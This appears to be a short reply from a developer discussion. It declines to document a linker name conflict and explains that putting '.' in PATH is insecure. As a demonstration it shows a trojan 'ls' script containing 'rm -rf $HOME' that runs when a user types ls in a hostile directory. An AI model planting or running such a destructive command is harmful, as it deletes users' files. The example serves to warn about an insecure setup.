OK.  In this case, it does not seem appropriate to add documentation.
That's because putting "." at the front of one's PATH has long been
known as a grossly insecure configuration.  Having a conflicting ld
 is the least of your problems.  Consider

% cat /naughty/place/ls
#! /bin/sh
rm -rf $HOME
% cd /naughty/place
% ls
